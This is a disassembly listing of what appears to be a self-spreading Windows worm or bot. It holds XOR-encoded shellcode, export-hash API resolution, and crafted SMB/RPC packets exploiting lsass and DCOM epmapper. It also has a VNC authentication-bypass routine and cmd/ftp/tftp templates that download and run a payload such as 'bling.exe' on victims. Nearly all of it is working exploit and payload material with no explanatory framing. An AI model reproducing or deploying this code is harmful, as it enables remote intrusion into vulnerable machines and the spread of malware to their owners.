aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
align 4
; =============== S U B R O U T I N E =======================================
sub_432198 proc near ; DATA XREF: ___:0040D61Fo
push ebx
push esi
push edi
sub sp, 80h
mov esi, esp
call sub_432294
push dword ptr [esi]
push 63D61209h
call sub_4322AA
mov [esi+8], eax
call sub_43225D
push dword ptr [esi+4]
push 0CA2BD06Bh
call sub_4322AA
mov [esi+0Ch], eax
call sub_43220F
push dword ptr [esi+4]
push 4C0297FAh
call sub_4322AA
xor ebx, ebx
push 410h
push ebx
call eax
mov ebx, eax
push esi
mov esi, [esi+10h]
mov edi, eax
mov ecx, 410h
rep movsb
pop esi
xor eax, eax
push eax
push eax
push eax
push ebx
push eax
push eax
call dword ptr [esi+0Ch]
mov eax, [esi+8]
add sp, 80h
pop edi
pop esi
pop ebx
jmp eax
sub_432198 endp
; =============== S U B R O U T I N E =======================================
sub_43220F proc near ; CODE XREF: sub_432198+33p
var_20 = dword ptr -20h
var_14 = dword ptr -14h
pusha
call sub_432238
mov eax, [esp+20h+var_14]
lea ebx, [eax+7Ch]
add dword ptr [ebx+3Ch], 5
add dword ptr [ebx+28h], 1000h
and dword ptr [ebx+28h], 0FFFFF000h
mov eax, [esp+20h+var_20]
add esp, 14h
push eax
xor eax, eax
retn
sub_43220F endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_432238 proc near ; CODE XREF: sub_43220F+1p
xor edx, edx
push dword ptr fs:[edx]
mov fs:[edx], esp
xor ebx, ebx
mov eax, 42904290h
loc_432247: ; CODE XREF: sub_432238+1Aj
xor ecx, ecx
mov cl, 2
mov edi, ebx
repe scasd
jz short loc_432254
inc ebx
jmp short loc_432247
; ---------------------------------------------------------------------------
loc_432254: ; CODE XREF: sub_432238+17j
mov [esi+10h], edi
pop dword ptr fs:[edx]
pop eax
popa
retn
sub_432238 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43225D proc near ; CODE XREF: sub_432198+1Ep
pusha
mov edi, 7FFDF020h
mov ebx, [edi]
mov eax, [esi+8]
mov [edi], eax
mov edi, [edi-8]
add edi, 178h
mov ecx, edi
loc_432275: ; CODE XREF: sub_43225D+1Ej
cmp [ecx], ebx
jz short loc_43227D
mov ecx, [ecx]
jmp short loc_432275
; ---------------------------------------------------------------------------
loc_43227D: ; CODE XREF: sub_43225D+1Aj
mov edx, edi
loc_43227F: ; CODE XREF: sub_43225D+2Aj
cmp [edx+4], ebx
jz short loc_432289
mov edx, [edx+4]
jmp short loc_43227F
; ---------------------------------------------------------------------------
loc_432289: ; CODE XREF: sub_43225D+25j
mov [ecx], edx
mov [edx+4], ecx
mov byte ptr [ebx-3], 1
popa
retn
sub_43225D endp
; =============== S U B R O U T I N E =======================================
sub_432294 proc near ; CODE XREF: sub_432198+Ap
mov eax, ds:7FFDF00Ch
mov eax, [eax+1Ch]
mov ebx, [eax+8]
mov [esi], ebx
mov eax, [eax]
mov eax, [eax+8]
mov [esi+4], eax
retn
sub_432294 endp
; =============== S U B R O U T I N E =======================================
sub_4322AA proc near ; CODE XREF: sub_432198+16p
; sub_432198+2Bp ...
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov ebp, [esp+20h+arg_4]
mov eax, [ebp+3Ch]
mov edx, [ebp+eax+78h]
add edx, ebp
mov ecx, [edx+18h]
mov ebx, [edx+20h]
add ebx, ebp
loc_4322C0: ; CODE XREF: sub_4322AA+33j
jecxz short loc_4322FA
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor edi, edi
xor eax, eax
cld
loc_4322CD: ; CODE XREF: sub_4322AA+2Dj
lodsb
cmp al, ah
jz short loc_4322D9
ror edi, 0Dh
add edi, eax
jmp short loc_4322CD
; ---------------------------------------------------------------------------
loc_4322D9: ; CODE XREF: sub_4322AA+26j
cmp edi, [esp+20h+arg_0]
jnz short loc_4322C0
mov ebx, [edx+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edx+1Ch]
add ebx, ebp
mov eax, [ebx+ecx*4]
add eax, ebp
mov [esp+20h+var_4], eax
popa
retn 8
; ---------------------------------------------------------------------------
loc_4322FA: ; CODE XREF: sub_4322AA:loc_4322C0j
; sub_4322AA:loc_4322FAj
jmp short loc_4322FA
sub_4322AA endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_432300 proc near ; DATA XREF: ___:0040D5CDo
arg_0 = dword ptr 4
add esp, 0FFFFF254h
cld
call sub_432352
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
loc_43231D: ; CODE XREF: sub_432300+38j
jecxz short loc_43234D
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
loc_432328: ; CODE XREF: sub_432300+32j
lodsb
test al, al
jz short loc_432334
ror edx, 0Dh
add edx, eax
jmp short loc_432328
; ---------------------------------------------------------------------------
loc_432334: ; CODE XREF: sub_432300+2Bj
cmp edx, [esp+arg_0]
jnz short loc_43231D
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
mov ebx, [ebx+ecx*4]
add ebx, ebp
loc_43234D: ; CODE XREF: sub_432300:loc_43231Dj
mov [esp+arg_0], ebx
retn
sub_432300 endp
; =============== S U B R O U T I N E =======================================
sub_432352 proc near ; CODE XREF: sub_432300+7p
; FUNCTION CHUNK AT 0043238A SIZE 00000008 BYTES
xor eax, eax
mov eax, fs:[eax+30h]
test eax, eax
js short loc_43236B
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov ebp, [eax+8]
jmp loc_432376
; ---------------------------------------------------------------------------
loc_43236B: ; CODE XREF: sub_432352+8j
mov eax, [eax+34h]
add eax, 7Ch
mov ebp, [eax+3Ch]
loc_432376: ; CODE XREF: sub_432352+14j
pop edi
xor esi, esi
pusha
push esi
jmp short loc_43238A
sub_432352 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_43237D proc near ; CODE XREF: sub_432352:loc_43238Ap
push 60E0CEEFh
push 0E8AFE98h
push edi
jmp edi
sub_43237D endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_432352
loc_43238A: ; CODE XREF: sub_432352+29j
call sub_43237D
loc_43238F: ; DATA XREF: sub_40CD9E+320o
add [eax+0], ah
; END OF FUNCTION CHUNK FOR sub_432352
; ---------------------------------------------------------------------------
dw 0
dword_432394 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CD9E+2F5o
dword_4323A0 dd 30h ; DATA XREF: sub_40CD9E+2CAo
dword_4323A4 dd 0A1h ; DATA XREF: sub_40CD9E+29Fo
dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o
aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o
align 4
loc_4323B4: ; DATA XREF: sub_40CD9E+E8o
jmp short near ptr dword_4323BC
; ---------------------------------------------------------------------------
db 6 dup(90h)
dword_4323BC dd 0 ; CODE XREF: ___:loc_4323B4j
aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
; DATA XREF: ___:0040D5F4o
db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
align 4
dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E02Do
; ___:0040E167o
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_40DCF9+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o
dd 20h, 5C005Ch, 0
off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do
; "Lafler"
dd offset dword_5C0024
a12345611111111:
unicode 0, <123456111111111111111.doc>,0
align 8
dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o
dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
off_43285C dd offset word_580046 ; DATA XREF: sub_40DCF9+45o
dd offset loc_42004C+2
dd offset word_580046
dd offset word_580046
dd offset loc_42004C+2
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd offset word_580046
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o
dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo
off_432940 dd offset dword_5C005C ; DATA XREF: sub_40DB5E+1Co
; sub_40DC41+16o
align 8
off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co
; sub_40DC41+Bo
dd offset aLallemant+8
dd 24h
aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o
; ___:0040E99Eo ...
align 10h
aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o
align 4
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do
align 10h
jmp short loc_4329C2
; =============== S U B R O U T I N E =======================================
sub_4329B2 proc far ; CODE XREF: sub_4329B2:loc_4329C2p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_4329BA: ; CODE XREF: sub_4329B2+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_4329BA
jmp short loc_4329C7
; ---------------------------------------------------------------------------
loc_4329C2: ; CODE XREF: ___:004329B0j
call near ptr sub_4329B2
loc_4329C7: ; CODE XREF: sub_4329B2+Ej
jo short loc_432A2B
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_432A49
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_432A2B: ; CODE XREF: sub_4329B2:loc_4329C7j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_432A49: ; CODE XREF: sub_4329B2+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_4329B2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_432AF0: ; DATA XREF: sub_40E3F1+156o
; sub_40E3F1+212o
jmp short loc_432B02
; =============== S U B R O U T I N E =======================================
sub_432AF2 proc near ; CODE XREF: sub_432AF2:loc_432B02p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_432AFA: ; CODE XREF: sub_432AF2+Cj
xor byte ptr [edx+ecx], 99h
loop loc_432AFA
jmp short loc_432B07
; ---------------------------------------------------------------------------
loc_432B02: ; CODE XREF: ___:loc_432AF0j
call sub_432AF2
loc_432B07: ; CODE XREF: sub_432AF2+Ej
jo short near ptr dword_432A80+1Eh
cwde
cdq
cdq
retn
sub_432AF2 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40E3F1+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: ___:0040E8A6o
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWor_0 db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:0040E8D2o
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 10h
dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: ___:0040E8F9o
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+58o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC_0: ; DATA XREF: sub_40E3F1+8Ao
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2AAo
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+2D1o
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+3B0o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd offset loc_40707B+1
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+306o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_40E3F1+331o
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 0
dd offset loc_40A897+3
dd 1, 0
dd 1, 2 dup(0)
word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r
; sub_40E3F1+E7r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 10h
dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r
; sub_40E3F1+245r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &'
; DATA XREF: sub_40E292+BCo
db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0
align 4
aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o
; ---------------------------------------------------------------------------
loc_433408: ; DATA XREF: sub_40E3F1+177o
jmp short loc_433410
; ---------------------------------------------------------------------------
jmp short loc_433412
; ---------------------------------------------------------------------------
align 10h
loc_433410: ; CODE XREF: ___:loc_433408j
; DATA XREF: sub_40E3F1+27o
pop esp
pop esp
loc_433412: ; CODE XREF: ___:0043340Aj
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr
dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r
dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao
dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h
dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h
dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h)
dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h)
dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h
dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h
dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh
dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh
dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h
dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh
dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h
dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h
dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh
dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h
dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h
dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h
dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh
dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h
dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh
dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h
dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h
dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h
dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h
dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h
dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh
dd 877FD918h
aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm'
db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0
align 4
aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>'
; DATA XREF: sub_40E9FB+92o
db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0
aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o
align 4
aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o
align 4
word_4346DC dw 1 ; DATA XREF: ___:0040EC29r
